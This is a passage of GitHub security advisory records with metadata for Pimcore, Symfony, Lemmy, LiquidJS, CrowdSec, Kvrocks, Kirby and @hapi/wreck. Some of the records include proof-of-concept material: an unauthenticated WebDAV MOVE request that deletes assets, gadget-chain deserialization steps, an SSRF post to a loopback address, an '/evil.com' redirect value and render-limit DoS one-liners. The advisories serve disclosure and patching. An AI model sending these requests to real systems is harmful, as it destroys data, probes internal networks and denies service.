cross-referenced with other endpoints once the requester has obtained a higher privilege through unrelated means. ### Patches The problem has been patched in [Kirby 4.9.1](https://github.com/getkirby/kirby/releases/tag/4.9.1) and [Kirby 5.4.1](https://github.com/getkirby/kirby/releases/tag/5.4.1). Please update to one of these or a [later version](https://github.com/getkirby/kirby/releases) to fix the vulnerability. In the mentioned releases, the lock information is now filtered based on the requesting user's permissions. The identity of the locking user is hidden when the requesting user does not have permission to access or list that user. ### Credits Kirby thanks Matteo Panzeri (@matte1782) for responsibly reporting the identified issue.

medium

2026-05-27 20:23:31+03:00

2026-05-27 20:23:32+03:00

['https://github.com/getkirby/kirby/security/advisories/GHSA-39vq-49qm-r2mc', 'https://github.com/getkirby/kirby/releases/tag/4.9.1', 'https://github.com/getkirby/kirby/releases/tag/5.4.1', 'https://github.com/advisories/GHSA-39vq-49qm-r2mc']

[{'package': {'name': 'getkirby/cms', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '4.9.1', 'vulnerable_version_range': '<= 4.9.0'}, {'package': {'name': 'getkirby/cms', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.1', 'vulnerable_version_range': '>= 5.0.0, <= 5.4.0'}]

{'score': None, 'vector_string': None}

[{'name': 'Missing Authorization', 'cwe_id': 'CWE-862'}]

2fda29d27c21e9f6c812d8d860ab9ff5a51017accfad183d685ac070050af9d7

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-273h-gvwr-c3qj

CVE-2026-44981

CrowdSec LAPI: Denial of Service via Unbounded Gzip Decompression

The LAPI router uses `gin-contrib/gzip` with `DefaultDecompressHandle` globally (`pkg/apiserver/controllers/controller.go`). This middleware decompresses incoming request bodies without enforcing a maximum decompressed size. The endpoints `/v1/watchers` or `/v1/watchers/login` require no authentication. An attacker can send small gzip-compressed JSON payloads that, when decompressed, result in hundreds of MB of valid JSON occupying server memory. Sending enough requests concurrently will cause LAPI to allocate excessive heap memory, leading the OS to forcibly terminate the process. This vulnerability is not exploitable from the network in default configurations, as LAPI only listens on the loopback interface. If developers' applications are using a multi-server setup, LAPI will be exposed in the network, in which case they are at risk if untrusted IPs can access it. ### Impact Exploiting this vulnerability will make LAPI unreachable, meaning that bouncers will not be able to fetch new decisions (but existing decisions will still be enforced) and log processors will not be able to send alerts, effectively denying the creation of new decisions. ### Workarounds If the LAPI is exposed on the network (either directly or through a reverse proxy), for example in the case of a multi-server deployment, restrict access to trusted IP addresses.

medium

2026-05-27 22:57:28+03:00

2026-06-12 23:24:22+03:00

['https://github.com/crowdsecurity/crowdsec/security/advisories/GHSA-273h-gvwr-c3qj', 'https://github.com/crowdsecurity/crowdsec/releases/tag/v1.7.8', 'https://github.com/advisories/GHSA-273h-gvwr-c3qj']

[{'package': {'name': 'github.com/crowdsecurity/crowdsec', 'ecosystem': 'go'}, 'vulnerable_functions': [], 'first_patched_version': '1.7.8', 'vulnerable_version_range': '>= 1.7.0, < 1.7.8'}]

{'score': None, 'vector_string': None}

[{'name': 'Improper Handling of Highly Compressed Data (Data Amplification)', 'cwe_id': 'CWE-409'}]

7e50721b53ed15c9c8af884be18e5f23215f1ea69edf7e0f08b7ed68985030d4

2026-05-28 21:31:05.264657+03:00

2026-06-13 08:19:23.349833+03:00

GHSA-wc7j-g8wx-m2qx

CVE-2026-45260

Pimcore: Missing Authorization in WebDAV MOVE via unchecked asset move handling

### Summary Pimcore's WebDAV asset endpoint exposes a `MOVE` operation through `/asset/webdav{path}` without adding an authentication plugin in the WebDAV controller. The `Tree::move()` implementation then performs asset mutation and deletion before checking a current Pimcore user or any asset permissions. An unauthenticated remote attacker who knows two existing asset paths in the same directory can send a WebDAV `MOVE` request that deletes the source asset. Authenticated low-privileged users may also be able to perform unauthorized asset move or overwrite operations because the move path does not enforce `rename`, `delete`, `create`, or `publish` permissions. ### Details The route for WebDAV is globally registered and accepts arbitrary trailing paths: ```yaml # bundles/CoreBundle/config/routing.yaml pimcore_webdav: path: /asset/webdav{path} defaults: { _controller: Pimcore\Bundle\CoreBundle\Controller\WebDavController::webdavAction } requirements: path: '.*' ``` The controller constructs a SabreDAV server but only attaches lock and browser plugins. It does not attach an authentication plugin or perform an explicit user/session check before starting the server: ```php # bundles/CoreBundle/src/Controller/WebDavController.php $publicDir = new Asset\WebDAV\Folder($homeDir); $objectTree = new Asset\WebDAV\Tree($publicDir); $server = new \Sabre\DAV\Server($objectTree); $server->setBaseUri($this->generateUrl('pimcore_webdav', ['path' => '/'])); $server->addPlugin($lockPlugin); $server->addPlugin(new \Sabre\DAV\Browser\Plugin()); $server->start(); ``` Most WebDAV file and folder operations perform permission checks through `isAllowed()`, but `Tree::move()` does not. In the overwrite path for a same-directory move, it deletes the source asset before resolving the current user: ```php # models/Asset/WebDAV/Tree.php if (dirname($sourcePath) == dirname($destinationPath)) { if ($asset = Asset::getByPath('/' . $destinationPath)) { $sourceAsset = Asset::getByPath('/' . $sourcePath); $asset->setData($sourceAsset->getData()); $sourceAsset->delete(); } ... } $user = \Pimcore\Tool\Admin::getCurrentUser(); $asset->setUserModification($user->getId()); $asset->save(); ``` `Asset::delete()` removes the asset without an internal permission gate: ```php # models/Asset.php public function delete(bool $isNested = false): void { ... $this->getDao()->delete(); ... $this->deletePhysicalFile(); } ``` Because the source asset deletion happens before `$user->getId()`, an unauthenticated request can still cause a deletion even if later execution fails when no current user is present. ### PoC Prerequisites: - Pimcore 2026.1.0 with the built-in WebDAV route enabled. - Two existing asset paths in the same directory, for example `/products/source.jpg` and `/products/existing.jpg`. - No valid session is required for the unauthenticated deletion path. PoC request: ```http MOVE /asset/webdav/products/source.jpg HTTP/1.1 Host: target.example Destination: http://target.example/asset/webdav/products/existing.jpg Overwrite: T ``` Result: The server will return an error after the deletion because `Tree::move()` later attempts to call `$user->getId()` when no current user exists. However, the source asset at `/products/source.jpg` has already been deleted by `$sourceAsset->delete()` before that failure point. For an authenticated low-privileged backend user without sufficient asset permissions, the same request can also reach the unchecked move path and may overwrite the destination asset or move an asset without the expected per-asset permission checks. ### Impact This issue allows remote unauthorized destruction of assets when paths are known or guessable. In Pimcore deployments where assets represent product images, documents, media, or DAM-managed business content, deletion or unauthorized overwrite can cause data loss, content integrity loss, and service disruption.

high

2026-05-27 20:17:18+03:00

2026-05-27 20:17:18+03:00

['https://github.com/pimcore/pimcore/security/advisories/GHSA-wc7j-g8wx-m2qx', 'https://github.com/pimcore/pimcore/pull/19120', 'https://github.com/pimcore/pimcore/commit/9d7c77fd9b19fa011ce470de95d4438e65007d99', 'https://github.com/pimcore/pimcore/releases/tag/v12.3.7', 'https://github.com/advisories/GHSA-wc7j-g8wx-m2qx']

[{'package': {'name': 'pimcore/pimcore', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '12.3.7', 'vulnerable_version_range': '<= 12.3.6'}]

{'score': 8.1, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H'}

[{'name': 'Missing Authorization', 'cwe_id': 'CWE-862'}]

2fd5582755c8b431fdbc7efacad13ed5eb5c233fe2df904bc752e34932daf4d1

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-36fc-7wjg-mfvj

CVE-2026-45162

Pimcore has Unsafe PHP Deserialization in Multiple Locations Without allowed_classes Restriction

# GM-374 ## Summary Multiple locations in Pimcore v11 call PHP's `unserialize()` on data from database columns and filesystem files without the `allowed_classes` restriction, enabling object injection if an attacker can control the serialized data source. ## Affected Component - **Package:** `pimcore/pimcore` and `pimcore/admin-ui-classic-bundle` - **Files:** - `lib/Tool/Authentication.php` (line 82) — session token deserialization - `models/Site/Dao.php` (line 68) — site domains from database - `models/DataObject/ClassDefinition/CustomLayout/Dao.php` (line 69) — layout definitions from database - `models/Tool/TmpStore/Dao.php` (line 64) — temporary store data from database - `models/Asset/WebDAV/Service.php` (line 36) — delete log from filesystem - `admin-ui-classic-bundle/src/Helper/Dashboard.php` (line 64) — dashboard config from filesystem ## Description Six locations in Pimcore core call `unserialize()` directly (bypassing `Tool\Serialize`) on data sourced from database columns or filesystem files without passing the `allowed_classes` parameter. This means any class available in the autoloader will be instantiated during deserialization. If an attacker can write to the data source (e.g., via SQL injection targeting the `tmp_store`, `sites`, or `custom_layouts` tables, or via a file write vulnerability targeting the WebDAV delete log), they can inject serialized PHP gadget chains that execute arbitrary code when the data is deserialized. This is related to but distinct from the `Tool\Serialize::unserialize()` issue — these calls bypass the wrapper entirely. ## Impact PHP object injection leading to Remote Code Execution when chained with a data source write vulnerability. Pimcore's dependency tree (Guzzle, Symfony, Monolog, Doctrine) provides numerous known gadget chains. ## Proof of Concept 1. Identify a writable data source (e.g., `tmp_store` table via SQL injection, or `webdav-delete.dat` via file write) 2. Write a serialized PHP gadget chain (e.g., Monolog `BufferHandler` chain from phpggc) 3. Trigger the deserialization (e.g., access a page that reads TmpStore, or trigger a WebDAV operation) 4. The gadget chain executes with web server privileges ## Suggested Fix Add `allowed_classes` parameter to all `unserialize()` calls. Where no objects are needed, use `['allowed_classes' => false]`. Consider migrating to JSON serialization for data that doesn't require object preservation. ```php // Example fix for Site/Dao.php: $siteDomains = unserialize($site['domains'], ['allowed_classes' => false]); // Example fix for TmpStore/Dao.php: $item['data'] = unserialize($item['data'], ['allowed_classes' => false]); ``` ## Resources - CWE-502: Deserialization of Untrusted Data - OWASP Deserialization Cheat Sheet - phpggc: PHP Generic Gadget Chains

high

2026-05-27 19:57:04+03:00

2026-05-27 19:57:05+03:00

['https://github.com/pimcore/pimcore/security/advisories/GHSA-36fc-7wjg-mfvj', 'https://github.com/pimcore/pimcore/pull/19119', 'https://github.com/pimcore/pimcore/commit/4788bf3a3a7f2f760a8fe61e522565941e154e1e', 'https://github.com/pimcore/pimcore/releases/tag/v12.3.7', 'https://github.com/advisories/GHSA-36fc-7wjg-mfvj']

[{'package': {'name': 'pimcore/pimcore', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '12.3.7', 'vulnerable_version_range': '<= 12.3.6'}]

{'score': 8.0, 'vector_string': 'CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H'}

[{'name': 'Deserialization of Untrusted Data', 'cwe_id': 'CWE-502'}]

29e38fc15dde1fc4fa613f432dd98d010f4e754cd6335d31d0a9dd00aef3bc83

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-72xp-p242-47p9

CVE-2026-45065

Symfony has a UrlGenerator Route-Requirement Bypass via Unanchored Regex Alternation → Off-Site //host URL Injection

### Description Symfony routes can declare a requirements regex per path parameter, e.g. a route `/{_locale}/blog` with `requirements: { _locale: 'en|fr|de' }`. The Twig `path()` / `url()` helpers (backed by `UrlGenerator`) validate supplied parameter values against that regex before building the URL. UrlGenerator constructs the validation pattern as `'#^'.$req.'$#'`, where `$req` is the raw requirement string. For a requirement expressed as an alternation, e.g. `_locale: 'ar|bg|...|vi|...|zh_CN'` (very common), `^` and `$` anchor only the first and last alternatives, so any middle alternative matches as an unanchored substring. A value like `/evil.com` satisfies the requirement (because it contains `vi`), and the generated path becomes `//evil.com/...`: a protocol-relative URL the browser navigates off-site. ### Resolution The `UrlGenerator` class now wraps the requirement in a non-capturing group so the `^` and `$` anchors apply to the whole alternation. The patch for this issue is available [here](https://github.com/symfony/symfony/commit/bcf487c22f3240ba994124e0e0fe8616f3cfc47a) for branch 5.4. ### Credits Symfony would like to thank Claude Mythos Preview (via Project Glasswing) for reporting the issue and providing the fix.

medium

2026-05-27 19:55:16+03:00

2026-05-27 19:55:18+03:00

['https://github.com/symfony/symfony/security/advisories/GHSA-72xp-p242-47p9', 'https://github.com/symfony/symfony/commit/bcf487c22f3240ba994124e0e0fe8616f3cfc47a', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/routing/CVE-2026-45065.yaml', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-45065.yaml', 'https://symfony.com/cve-2026-45065', 'https://github.com/advisories/GHSA-72xp-p242-47p9']

[{'package': {'name': 'symfony/routing', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.52', 'vulnerable_version_range': '< 5.4.52'}, {'package': {'name': 'symfony/routing', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.0.0, < 6.4.40'}, {'package': {'name': 'symfony/routing', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.0.0, < 7.4.12'}, {'package': {'name': 'symfony/routing', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.52', 'vulnerable_version_range': '< 5.4.52'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.0.0, < 6.4.40'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.0.0, < 7.4.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}]

{'score': None, 'vector_string': None}

[{'name': 'Incorrect Regular Expression', 'cwe_id': 'CWE-185'}, {'name': "URL Redirection to Untrusted Site ('Open Redirect')", 'cwe_id': 'CWE-601'}]

f3f34a02b508b1db082148cb99f9e53f7e7831e7ecd13d1ea94eef3f84697870

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-ph86-p8f6-f9r2

CVE-2026-45063

Symfony Vulnerable to Identity Spoofing via Unanchored DN Regex in X509Authenticator

### Description `X509Authenticator` implements client-certificate (mTLS) authentication: the web server validates the client's certificate against a trusted CA, then passes the certificate's Subject DN (Distinguished Name: a string like `CN=Alice,O=Example,emailAddress=alice@example.com`) to Symfony via `$_SERVER['SSL_CLIENT_S_DN']`. Symfony extracts the user identifier from that string. The extraction uses an **unanchored** regex that matches `emailAddress=` anywhere in the DN string: including inside the *value* of a different RDN (Relative Distinguished Name: one `key=value` component of the DN), such as `CN`. An attacker who can obtain a certificate from a trusted CA with a free-text `CN` can smuggle `emailAddress=victim@target` inside the CN value and be authenticated as the victim. ### Resolution The `X509Authenticator` now uses a regex that anchors the match to an RDN boundary (start of string, or following a `,` / `/` separator). The patch for this issue is available [here](https://github.com/symfony/symfony/commit/ccb3f724c7ff55670a6fe3521c7bf1514cceb478) for branch 5.4. ### Credits Symfony would like to thank Claude Mythos Preview (via Project Glasswing) for reporting the issue and providing the fix.

high

2026-05-27 19:50:42+03:00

2026-05-27 19:51:09+03:00

['https://github.com/symfony/symfony/security/advisories/GHSA-ph86-p8f6-f9r2', 'https://github.com/symfony/symfony/commit/ccb3f724c7ff55670a6fe3521c7bf1514cceb478', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/security-http/CVE-2026-45063.yaml', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-45063.yaml', 'https://symfony.com/cve-2026-45063', 'https://github.com/advisories/GHSA-ph86-p8f6-f9r2']

[{'package': {'name': 'symfony/security-http', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.52', 'vulnerable_version_range': '< 5.4.52'}, {'package': {'name': 'symfony/security-http', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.0.0-BETA1, < 6.4.40'}, {'package': {'name': 'symfony/security-http', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.0.0-BETA1, < 7.4.12'}, {'package': {'name': 'symfony/security-http', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0-BETA1, < 8.0.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.52', 'vulnerable_version_range': '< 5.4.52'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.0.0-BETA1, < 6.4.40'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.0.0-BETA1, < 7.4.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0-BETA1, < 8.0.12'}]

{'score': None, 'vector_string': None}

[{'name': 'Authentication Bypass by Spoofing', 'cwe_id': 'CWE-290'}]

0ad24883f743d396c9e7b37c452be7aa776bff029412dfc0ef2cd4ad7a579206

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-3jvj-v6w2-h948

CVE-2026-42180

Lemmy has SSRF in /api/v3/post via Webmention dispatch

### Summary Lemmy allows an authenticated low-privileged user to create a link post through `POST /api/v3/post`. When a post is created in a public community, the backend asynchronously sends a Webmention to the attacker-controlled link target. The submitted URL is checked for syntax and scheme, but the audited code path does not reject loopback, private, or link-local destinations before the Webmention request is issued. This lets a normal user trigger server-side HTTP requests toward internal services. ### Details The entry point is the normal post creation API. The user-controlled `url` field is accepted, normalized with `diesel_url_create()`, and only validated with `is_valid_url()`. That validation allows `http` and `https` but does not implement internal address rejection. The post creation flow then schedules Webmention delivery for public communities. This creates a direct source-to-sink path from an externally supplied post URL to a server-side outbound HTTP request. Core vulnerable code path: ```rust // crates/api_crud/src/post/create.rs let url = diesel_url_create(data.url.as_deref())?; if let Some(url) = &url { is_url_blocked(url, &url_blocklist)?; is_valid_url(url)?; } ``` ```rust // crates/utils/src/utils/validation.rs pub fn is_valid_url(url: &Url) -> LemmyResult<()> { let is_valid = ["http", "https", "magnet"].contains(&url.scheme()); if !is_valid { Err(LemmyErrorType::InvalidUrl)? } Ok(()) } ``` ```rust // crates/api_crud/src/post/create.rs if community.visibility == CommunityVisibility::Public { let post = inserted_post.clone(); let url = url.clone(); spawn_try_task(async move { if let Some(url) = url { Webmention::new(post.ap_id.clone().into(), url.into()).send().await?; } Ok(()) }); } ``` These snippets matter because they show that the attacker controls `CreatePost.url`, the only validation is scheme-level, and the resulting URL is later used for server-side Webmention delivery. ### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._Prerequisites: - The attacker has a valid low-privileged account. - The attacker can post to a public community. Practical reproduction flow: 1. Run an HTTP listener on an internal or loopback-reachable address from the Lemmy server's perspective, such as `127.0.0.1:8081`. 2. Authenticate as a normal user. 3. Submit a post to a public community with `url` set to the internal target. 4. Observe the Lemmy API return a normal post creation response. 5. Observe the internal HTTP listener receive a request from the Lemmy server shortly afterwards. Complete PoC: ```http POST /api/v3/post HTTP/1.1 Host: victim.example Authorization: Bearer <low-priv-jwt> Content-Type: application/json { "name": "wm-ssrf", "community_id": 1, "url": "http://127.0.0.1:8081/", "body": null, "alt_text": null, "honeypot": null, "nsfw": false, "language_id": null, "custom_thumbnail": null } ``` Outcome: - The API returns a successful `post_view` response. - The Lemmy server later issues an outbound request toward `http://127.0.0.1:8081/` as part of Webmention processing. ### Impact An authenticated user can use the application server as a blind SSRF primitive against internal HTTP services. This can expose internal network reachability, trigger internal webhooks or administrative endpoints, and expand the attack surface beyond the public deployment boundary. Because the sink is reached after ordinary user content submission, the issue is practical to exploit in real deployments where normal users can post to public communities.

medium

2026-04-24 18:22:49+03:00

2026-05-27 09:11:10+03:00

['https://github.com/LemmyNet/lemmy/security/advisories/GHSA-3jvj-v6w2-h948', 'https://github.com/LemmyNet/lemmy/commit/1f06693b708020c5c3a3752bd2f1c6006a75e9bc', 'https://nvd.nist.gov/vuln/detail/CVE-2026-42180', 'https://github.com/LemmyNet/lemmy/releases/tag/0.19.18', 'https://github.com/advisories/GHSA-3jvj-v6w2-h948']

[{'package': {'name': 'lemmy_api_common', 'ecosystem': 'rust'}, 'vulnerable_functions': [], 'first_patched_version': '0.19.18', 'vulnerable_version_range': '< 0.19.18'}]

{'score': 6.3, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L'}

[{'name': 'Server-Side Request Forgery (SSRF)', 'cwe_id': 'CWE-918'}]

57d440d6a778863680084be94db22609378e58c8a0bfa2c11fd15c661b6ff1e5

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-8xx9-69p8-7jp3

CVE-2026-44645

LiquidJS has a renderLimit DoS guard bypass via empty `{% for %}` body

## Summary The `renderLimit` option — documented in `docs/source/tutorials/dos.md` as the mechanism that "mitigates this by limiting the time consumed by each render() call" — can be fully bypassed by a `{% for %}` (or `{% tablerow %}`) tag whose body is empty. The per-iteration time check is reached only when the body contains at least one template node, so a template like `{%- for i in (1..N) -%}{%- endfor -%}` iterates the full collection without ever consulting `renderLimit`. With a configured `renderLimit` of 50 ms, a single `parseAndRenderSync` call has been observed to consume **2.26 seconds** (~45× over the limit) and scales linearly with `N` up to `memoryLimit`, allowing a low-privileged template author to wedge an event-loop thread for an attacker-chosen duration. ## Details `Render.renderTemplates` is the single point at which `renderLimit` is consulted: ```ts // src/render/render.ts 14: public * renderTemplates (templates: Template[], ctx: Context, emitter?: Emitter): IterableIterator<any> { 15: if (!emitter) { 16: emitter = ctx.opts.keepOutputType ? new KeepingTypeEmitter() : new SimpleEmitter() 17: } 18: const errors = [] 19: for (const tpl of templates) { 20: ctx.renderLimit.check(getPerformance().now()) 21: try { 22: const html = yield tpl.render(ctx, emitter) ... 32: } ``` The check at line 20 lives **inside** the `for (const tpl of templates)` body. When `templates.length === 0`, the loop body never executes, so the limiter is never consulted on that invocation. The `for` tag re-enters `renderTemplates` once per collection item with no independent time check: ```ts // src/tags/for.ts 70: for (const item of collection) { 71: scope[this.variable] = item 72: ctx.continueCalled = ctx.breakCalled = false 73: yield r.renderTemplates(this.templates, ctx, emitter) 74: if (ctx.breakCalled) break 75: scope.forloop.next() 76: } ``` When `{%- for i in (1..N) -%}{%- endfor -%}` is parsed, `this.templates` is `[]`. Each of the `N` calls to `r.renderTemplates(this.templates, ctx, emitter)` therefore performs zero `renderLimit.check()` calls and zero template work — it just spins the JS-level `for` loop and the generator boilerplate. With `N = 30_000_000` this still costs ~2.26 s of CPU, and `N = 100_000_000` costs ~9.6 s, fully bypassing whatever wall-clock budget the integrator configured. The range expression itself is bounded only by `memoryLimit`: ```ts // src/render/expression.ts:67-72 function * evalRangeToken (token: RangeToken, ctx: Context) { const low: number = yield evalToken(token.lhs, ctx) const high: number = yield evalToken(token.rhs, ctx) ctx.memoryLimit.use(high - low + 1) return range(+low, +high + 1) } ``` So the maximum bypass is governed by the (separate) `memoryLimit`, not by `renderLimit`. Integrators following the `docs/source/tutorials/dos.md` guidance — which positions `renderLimit` as the time-based defense — get no time-based defense at all on this code path. ## PoC Reproduced against `liquidjs@10.25.7` (HEAD `34877950`): ```bash # Empty for-body bypasses renderLimit (50 ms) and runs for ~2.26 s: $ node -e "const { Liquid } = require('liquidjs'); const engine = new Liquid({ memoryLimit: 1e9, renderLimit: 50 }); const t = Date.now(); engine.parseAndRenderSync('{%- for i in (1..30000000) -%}{%- endfor -%}', {}); console.log('Took', Date.now()-t, 'ms');" Took 2255 ms # Same template with a single-character body is correctly bounded: $ node -e "const { Liquid } = require('liquidjs'); const engine = new Liquid({ memoryLimit: 1e9, renderLimit: 50 }); try { engine.parseAndRenderSync('{%- for i in (1..30000000) -%}.{%- endfor -%}', {}); } catch(e) { console.log('correctly threw:', e.message); }" correctly threw: template render limit exceeded, line:1, col:1 ``` Scaling `N`: - `N = 30_000_000` → 2255 ms (≈ 45× over the 50 ms limit) - `N = 100_000_000` → 9581 ms (≈ 191× over the 50 ms limit) Time grows linearly with `N`, capped only by `memoryLimit` (default `Infinity`, so the only cap by default is process memory). ## Impact Any liquidjs integrator who follows the upstream DoS guidance and sets a finite `renderLimit` to bound per-render CPU — typical for SaaS / multi-tenant environments where end users author templates (themes, email templates, snippets) — does not get the bound they configured. A single template submission can keep an event-loop thread busy for seconds, which on a Node.js server is sufficient to stall all in-flight requests on that worker. With a large enough range and a permissive `memoryLimit`, the wedge time is attacker-controlled. No data is exposed and no integrity is harmed; impact is availability only. ## Recommended Fix Move the `renderLimit` check to a location that runs unconditionally per `renderTemplates` invocation, so a zero-template body still triggers it; alternatively (or additionally) have iteration tags that invoke `renderTemplates` per element check the limiter themselves once per iteration. ```ts // src/render/render.ts — check at function entry, before the templates loop public * renderTemplates (templates: Template[], ctx: Context, emitter?: Emitter): IterableIterator<any> { if (!emitter) { emitter = ctx.opts.keepOutputType ? new KeepingTypeEmitter() : new SimpleEmitter() } ctx.renderLimit.check(getPerformance().now()) // <-- runs even when templates is empty const errors = [] for (const tpl of templates) { ctx.renderLimit.check(getPerformance().now()) ... } ... } ``` And/or, defensively, in the iteration tags themselves so the guard cost is paid once per element rather than only at re-entry: ```ts // src/tags/for.ts (around line 70) for (const item of collection) { ctx.renderLimit.check(getPerformance().now()) // <-- per-iteration time check scope[this.variable] = item ctx.continueCalled = ctx.breakCalled = false yield r.renderTemplates(this.templates, ctx, emitter) if (ctx.breakCalled) break scope.forloop.next() } // src/tags/tablerow.ts (around line 54) — analogous addition for (let idx = 0; idx < collection.length; idx++, tablerowloop.next()) { ctx.renderLimit.check(getPerformance().now()) ... } ``` The same hardening should be applied anywhere a tag drives an attacker-influenced loop count over a (potentially empty) `templates` array.

medium

2026-05-27 03:11:46+03:00

2026-05-27 03:11:47+03:00

['https://github.com/harttle/liquidjs/security/advisories/GHSA-8xx9-69p8-7jp3', 'https://github.com/advisories/GHSA-8xx9-69p8-7jp3']

[{'package': {'name': 'liquidjs', 'ecosystem': 'npm'}, 'vulnerable_functions': [], 'first_patched_version': None, 'vulnerable_version_range': '<= 10.25.7'}]

{'score': 6.5, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H'}

[{'name': 'Uncontrolled Resource Consumption', 'cwe_id': 'CWE-400'}]

c1c990b54e025fd96b7ff5f4b5be314804feb99d5a4a6a4508c561f2911ce0c0

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-8g2g-w8wp-x78h

CVE-2026-46752

Redis Lua HEAP overflow in cjson library vulnerability in Apache Kvrocks. This issue affects...

Redis Lua HEAP overflow in cjson library vulnerability in Apache Kvrocks. This issue affects Apache Kvrocks: from 2.0.4 through 2.15.0. Users are recommended to upgrade to version 2.16.0, which fixes the issue.

critical

2026-06-25 12:31:18+03:00

2026-06-25 15:32:11+03:00

['https://nvd.nist.gov/vuln/detail/CVE-2026-46752', 'https://lists.apache.org/thread/11sr3bkkhkk0q01odgw6ddsj7fzo31pt', 'http://www.openwall.com/lists/oss-security/2026/06/25/4', 'https://github.com/advisories/GHSA-8g2g-w8wp-x78h']

[]

{'score': None, 'vector_string': None}

[{'name': 'Heap-based Buffer Overflow', 'cwe_id': 'CWE-122'}]

f09dcd7e0fffe410dbd6dda8fde9dc648ca26eaded64a000267330941c16e56c

2026-06-25 13:40:59.945200+03:00

2026-06-26 04:55:01.214857+03:00

GHSA-vhjm-w67q-g75c

CVE-2026-44979

@hapi/wreck leaks sensitive `Proxy-Authorization` header across cross-hostname redirects

### Impact When `@hapi/wreck` follows a 3xx redirect to a different hostname, only the `Authorization` and `Cookie` headers are stripped. The standard credential header `Proxy-Authorization` is forwarded intact to the redirect target, potentially exposing forward-proxy credentials to a host outside the original trust boundary. Redirect following is opt-in. The redirects option defaults to false (no redirections followed), so applications are only affected if they have explicitly set redirects to a positive integer on the request or via `Wreck.defaults({ redirects: ... })`. ### Patches `@hapi/wreck` 18.1.1 extends the cross-hostname strip set to include `proxy-authorization`. Upgrade to 18.1.1 or later. ### Workarounds If upgrading is not immediately possible: - Leave redirects at its default (`false`) — applications that never enable redirect following are not affected. - If redirects are required, set redirects: 0 when calling endpoints with sensitive headers, or strip Proxy-Authorization from the headers before issuing the request. - Use the `beforeRedirect` hook to manually strip proxy-authorization (and any other sensitive application headers) when `redirectOptions` targets a different hostname than the original request. ### Resources - Related: [CVE-2024-30260 / GHSA-3787-6prv-h9w3 ](https://github.com/nodejs/undici/security/advisories/GHSA-3787-6prv-h9w3)(undici) - [RFC 7235 §4.4 — Proxy-Authorization](https://datatracker.ietf.org/doc/html/rfc7235#section-4.4)

medium

2026-05-27 03:38:09+03:00

2026-05-27 03:38:10+03:00

['https://github.com/hapijs/wreck/security/advisories/GHSA-vhjm-w67q-g75c', 'https://github.com/nodejs/undici/security/advisories/GHSA-3787-6prv-h9w3', 'https://github.com/hapijs/wreck/commit/a5b6fac9c684621c1d5733d10a0257697cfea373', 'https://github.com/advisories/GHSA-vhjm-w67q-g75c']

[{'package': {'name': '@hapi/wreck', 'ecosystem': 'npm'}, 'vulnerable_functions': [], 'first_patched_version': '18.1.1', 'vulnerable_version_range': '< 18.1.1'}]

{'score': None, 'vector_string': None}

